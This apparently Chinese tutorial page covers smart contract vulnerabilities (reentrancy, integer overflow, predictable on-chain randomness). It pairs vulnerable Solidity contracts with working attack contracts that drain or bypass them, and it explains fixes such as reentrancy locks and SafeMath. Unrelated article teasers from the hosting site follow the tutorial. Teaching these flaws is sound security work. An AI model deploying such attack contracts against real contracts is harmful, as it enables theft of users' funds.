智能合约安全漏洞与解决方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol";

/*
   智能合约安全
   在智能合约中安全问题是一个头等大事,因为智能合约不像其他语言一样可以边制作边修改,而智能合约一旦部署将无法修改

   重入攻击 如果合约中有重入攻击的漏洞,对方就可以利用该漏洞对合约进行攻击 版本0.8以下可复现
   重入攻击原理:攻击合约调用对方提现,对方提现回调本合约的回退函数,回退函数里又调用了对方提现,形成了递归调用,直到把对方账户取光,或取到指定金额,自己加判断
  
   解决方案1:在提现方法,先减掉金额再调用转账,这样攻击合约下次调用的时候,余额不足不满足条件
   解决方案2:使用重入锁方案,定义重入锁,noReentrant原理:提现方法执行完毕会修改锁的状态改为false,当攻击合约下次重入调用的时候,因为上次方法还没有执行完毕,锁状态还是true,所以无法再调用提现具体逻辑,这时候重入锁阻拦住了重入攻击,如果不确定合约逻辑是否有重入漏洞,不妨加入一个重入锁,防止函数被重入攻击,在实际生产环境最好加上重入锁
*/
contract EtherStore {
    mapping(address => uint) public balances;

    // 定义重入锁变量
    bool internal locked;
    // 定义重入锁修改器
    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public noReentrant {
        require(balances[msg.sender] >= _amount);
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] -= _amount;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// 攻击合约
contract Attack {

    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 回退函数
    fallback() external payable {
        // 为了避免死循环,加判断
        if (address(etherStore).balance >= 1 ether) {
            // 提现
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        // 存款
        etherStore.deposit{value: 1 ether}();
        // 提现
        etherStore.withdraw(1 ether);
    }

    function getBalacne() public view returns (uint) {
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    //receive() external payable {}
}


/*
  整数溢出漏洞
  uint = uint256  取值范围:0 - 2**256-1  
  数字上溢:如果数字超过2**256,比如uint256最高位 +3 , 会重新会到0来一次循环,最终结果是2,数字变的非常小。
  数字下溢:如果数字低于0,比如最低位 -2,则会反向从uint256最高位处开始循环,变成2**256-2,变成了巨大的数字

  示例,定义时间锁合约
*/
contract TimeLock {
    // 使用openzepplin的安全库 uint myUint;  myUint.add(123);
    using SafeMath for uint;

    // 账本
    mapping(address => uint) public balances;
    // 提现锁定期,到期可提现
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        // 记录存款,同时记录锁定时间 当前时间1个星期之后才可以解锁,不到期不能执行提现方法
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加锁定时间 这个加法有可能产生数学溢出
    function increaseLockTime(uint _secondsToIncrease) public {
        //lockTime[msg.sender] += _secondsToIncrease;
        // 使用安全库,防止数学溢出 加完会验证结果是否比原来更大
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        // 判断用户余额
        require(balances[msg.sender] >0, "Insufficient funds");
        // 当前时间要大于用户锁定的时间,比如用户锁定期为1周,当前是第二周,现在就可以执行该方法
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// 用于验收数字溢出漏洞,该合约无其他意义
contract TimeLockAccack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        // 向TimeLock存款,同时该方法会记录存款到期时间,默认一周
        timeLock.deposit{value: msg.value}();

        // 调用增加存款到期时间的方法 虽然withdraw()方法有锁定期,但让锁定时间数学溢出,也可以马上执行withdraw()
        // 计算巨大的数字,让它产生数学溢出 首先获取当前用户的锁定时间
        // 计算公式 t = 当前锁定时间,要找到x是多少,要满足的条件是: x + t = 2**256 = 0
        // x = -t  调用这个方法,实际会把取款时间改为0
        timeLock.increaseLockTime(
            uint(-timeLock.lockTime(address(this)))
        );
        // 提现
        timeLock.withdraw();
    }
}

使用OpenZeppelin安全库,防止了数字溢出漏洞攻击,报出了SafeMath错误:

不安全写法:lockTime[msg.sender] += _secondsToIncrease;

安全写法:    lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);

整数溢出真实案例:

2018年4月22日,黑客利用以太坊ERC-20智能合约中数据溢出的漏洞攻击蔡文胜旗下美图合作的公司美链 BEC 的智能合约,成功地向两个地址转入了巨量BEC代币,导致市场上海量BEC被抛售。

BEC合约代码:计算批量转账总金额没有使用SafeMath,转账金融输入2的255次方值,会发生整数上溢出漏洞,导致amount变成了0,代码向下执行,直接把币全都转走了。写代码的人减法运算和加法运算分别使用了SafeMath的sub和add,唯独乘法运算没用。

随机数攻击,就是针对智能合约的随机数生成算法进行攻击,预测生成结果。目前区块链上很多合约都是采用的链上信息,如区块时间戳、未来区块哈希等作为游戏合约的随机数源,使用这种随机数被称为伪随机数,它不是真的随机数,存在被预测的可能。一旦生成算法被攻击者猜到,或通过逆向方式拿到,攻击者就可以实现预测,达到攻击目的
解决方案:使用安全的随机数源,第三方api或预言机获取随机数

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
  随机数攻击示例,玩家抽奖,抽中获取奖励,代码主要演示随机数漏洞部分,攻击者合约利用对方随机数生成部分,也用相同的方式生成随机数实现预测中奖
  生产真实案例,如EOS伪随机数漏洞
*/
contract Random {
    // 生产随机数确定是否中奖,如果中奖则转账给中奖者
    function guess() public payable {
        // 获取随机数,确定是否中奖
        bool result = _getRandom();
        if(result){
            // 中奖,获得1个eth奖励
            bool ok = payable(msg.sender).send(1 ether);
            if(!ok){

            }
        }
    }
    // 获取随机数函数,并确定是否中奖
    function _getRandom() private view returns(bool){
        uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));
        if(random%2==0){
            return false;
        }
        return true;
    }
    // 查看奖池余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }
    // 设置部署时转入ETH
    constructor() payable{}
    // 允许接收ETH
    receive() external payable{}
}

// 攻击者合约
contract Attack {
    event Log(string);

    function attack(address _random) external payable {
        for(;;){
            // 1. 判断攻击目标合约的余额,如果小于1个ether,表示取光,就返回
            if(payable(_random).balance < 1){
                emit Log("succes getting eth");
                return;
            }
            // 2. 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
            // 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) %2 ==0){
                emit Log("failed to get rand,wait 10 seconds");
                return;
            }
            emit Log("start accack!!!");
            // 3. 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的guess函数,获取奖励
            (bool ok,) = _random.call(abi.encodeWithSignature("guess()"));
            if(!ok){
                emit Log("failed to call guess()");
                return;
            }
        }
    }

    // 查看余额
    function getBalance() external view returns(uint256){
        return address(this).balance;
    }

    // 接收攻击获得的Eth
    receive() external payable {}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/177090.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Youtube运营如何打破0播放?你需要的技巧、策略与工具

对于有跨境意向的内容创作者或者品牌企业来说&#xff0c;YouTube是因其巨大的潜在受众群和商业价值成为最值得投入变现与营销计划的平台。 据统计&#xff0c;98% 的美国人每月访问 YouTube&#xff0c;近三分之二的人每天访问。但是&#xff0c;YouTube还远未达到过度饱和的…

好题分享(2023.11.12——2023.11.18)

目录 ​ 前情回顾&#xff1a; 前言&#xff1a; 题目一&#xff1a;《有效括号》 思路&#xff1a; 总结&#xff1a; 题目二&#xff1a;《用队列实现栈》 思路&#xff1a; 总结&#xff1a; 题目三&#xff1a;《用栈实现队列》 思路&#xff1a; 总结 &#x…

CodeWhisperer 一款好玩的 AI 插件

忙里抽闲&#xff0c;今天试了试 CodeWhisperer 这款插件&#xff0c;我是在 IDEA 中做的测试&#xff0c;下面是我的一些使用感想&#xff1a; 安装 CodeWhisperer 插件&#xff1a;在 IntelliJ IDEA 中&#xff0c;可以通过插件管理器安装 CodeWhisperer 插件&#xff0c;然…

ChatGPT 也并非万能,品牌如何搭上 AIGC「快班车」

内容即产品的时代&#xff0c;所见即所得&#xff0c;所得甚至超越所见。 无论是在公域的电商平台、社交媒体&#xff0c;还是品牌私域的官网、社群、小程序&#xff0c;品牌如果想与用户发生连接&#xff0c;内容永远是最前置的第一要素。 01 当内容被消费过&#xff0c;就…

GD32替换STM32使用HAL库开发问题

GD32HAL库开发问题 1can初始化进入error handle2发送邮箱不能按照填写顺序发送3 GD32修改代码被stm32cudemx覆盖问题 1can初始化进入error handle HAL库的HAL_CAN_Init中&#xff0c;hcan->Instance->MSR寄存器无法清零&#xff0c;STM32先清零&#xff0c;再退出睡眠模…

LL(1)语法分析程序设计与实现

制作一个简单的C语言词法分析程序_用c语言编写词法分析程序-CSDN博客文章浏览阅读322次。C语言的程序中&#xff0c;有很单词多符号和保留字。一些单词符号还有对应的左线性文法。所以我们需要先做出一个单词字符表&#xff0c;给出对应的识别码&#xff0c;然后跟据对应的表格…

AMEYA360:村田首款1608M尺寸/100V静电容量1µF的MLCC实现商品化

株式会社村田制作所成功开发了用于基站、服务器和数据中心48V线路的多层陶瓷电容器“GRM188D72A105KE01”并已量产。该产品在1608M(1.60.8mm)尺寸、100V的额定电压下可实现1μF的超大静电容量(村田调查数据&#xff0c;截至2023年11月20日)。目前可向村田申请免费样品。 随着5G…

Python入门教学——输入任意长度的int整型一维数组

使用python输入一个任意长度的整型一维数组&#xff1a; nums input("请输入整数数组&#xff0c;用空格分隔&#xff1a; ") nums [int(i) for i in nums.split( )] # 将每个数转换为整型后输出 运行结果&#xff1a; 【注】如果不强制转换类型&#xff0c;数字…

2023 极客巅峰线上

linkmap 考点: 栈溢出ret2csu栈迁移 保护: 开了 Full RELRO 和 NX, 所以这里不能打 ret2dl 题目给了一些有用的函数: 在这个函数中, 我们可以把一个地址的数据存放到 BSS 段上. 漏洞利用 可以把一个 libc 地址比如 readgot 读取到 bss 上, 然后在修改其为 syscall. 后面就是…

【云原生】初识 Service Mesh

目录 一、什么是Service Mesh 二、微服务发展历程 2.1 微服务架构演进历史 2.1.1 单体架构 2.1.2 SOA阶段 2.1.3 微服务阶段 2.2 微服务治理中的问题 2.2.1 技术栈庞杂 2.2.2 版本升级碎片化 2.2.3 侵入性强 2.2.4 中间件多&#xff0c;学习成本高 2.2.5 服务治理功…

Vue-报错No “exports“ main defined in xx

vue报错&#xff1a;No "exports" main defined in F:\wjh\vue#Practice\EasyQuestionnaire-web-master\EasyQuestionnaire-web-master\node_modules\babel\helper-compilation-targets\package.json 1.在文件中找到该路径的package.json文件&#xff0c; 2.按照提示…

值得考虑的10大开源的ERP系统

有许多开源的企业资源计划&#xff08;ERP&#xff09;系统可供选择。这些系统提供了一整套业务管理工具&#xff0c;涵盖了财务、人力资源、供应链管理等多个领域。以下是一些知名的开源ERP产品&#xff1a; NO1.Odoo ERP 了解更多&#xff1a;http://www.odoochina.com.cn/…

赛轮集团SAILUN方程式赛车轮胎震撼登场,开启新篇章

11月初&#xff0c;在厦门国际赛车场&#xff0c;SAILUN方程式赛车轮胎展现出令人瞩目的实力&#xff0c;成功完成了首次震撼亮相。这一引人注目的表现为未来的赛车轮胎技术发展打开了崭新的一页。 在这次首次亮相的测试中&#xff0c;职业车手巧妙操控着SAILUN方程式赛车轮胎&…

Python Pandas简介及基础教程+实战示例。

文章目录 前言一、Pandas简介二、Python Pandas的使用关于Python技术储备一、Python所有方向的学习路线二、Python基础学习视频三、精品Python学习书籍四、Python工具包项目源码合集①Python工具包②Python实战案例③Python小游戏源码五、面试资料六、Python兼职渠道 前言 Pan…

『亚马逊云科技产品测评』活动征文|AWS 存储产品类别及其适用场景详细说明

授权声明&#xff1a;本篇文章授权活动官方亚马逊云科技文章转发、改写权&#xff0c;包括不限于在 Developer Centre, 知乎&#xff0c;自媒体平台&#xff0c;第三方开发者媒体等亚马逊云科技官方渠道 目录 前言、AWS 存储产品类别 1、Amazon Elastic Block Store (EBS) …

matplotlib violinplot换颜色

本来用的是箱图&#xff0c;后来发现这个图更好看&#xff0c;就想要学习一下&#xff0c;官方有给教程&#xff0c;当然可以直接学习 https://matplotlib.org/stable/gallery/statistics/customized_violin.html 以上是官方给的&#xff0c;效果是这个样子的 这个从最基本的蓝…

详解自动化之单元测试工具Junit

目录 1.注解 1.1 Test 1.2 BeforeEach 1.3 BeforeAll 1.4 AfterEach 1.5 AfterAll 2. 用例的执行顺序 通过 order() 注解来排序 3. 参数化 3.1 单参数 3.2 多参数 3.3 多参数(从第三方csv文件读取数据源) 3.4 动态参数ParameterizedTest MethodSource() 4. 测试…

解决vue element - ui 弹窗打开表单自动校验问题

1 打开弹窗清除自动校验 在data 里面把所有表单字段都定义一下 2 弹窗关闭事件 清除校验

Vue批量全局处理undefined和null转为““ 空字符串

我们在处理后台返回的信息&#xff0c;有的时候返回的是undefined或者null&#xff0c;这种字符串容易引起用户的误解&#xff0c;所以需要我们把这些字符串处理一下。 如果每个页面都单独处理&#xff0c;那么页面会很冗余&#xff0c;并且后期如果有修改容易遗漏&#xff0c…

Banana Pi BPI-R3 Mini 开源路由器,也能拍出艺术美感

香蕉派BPI-R3 Mini路由器板开发板采用联发科MT7986A(Filogic 830)四核ARM A53芯片设计&#xff0c;板载2G DDR 内存&#xff0c;8G eMMC和128MB SPI NAND存储&#xff0c;是一款非常高性能的开源路由器开发板&#xff0c;支持Wi-Fi6 2.4G/5G&#xff08;MT7976C&#xff09;&am…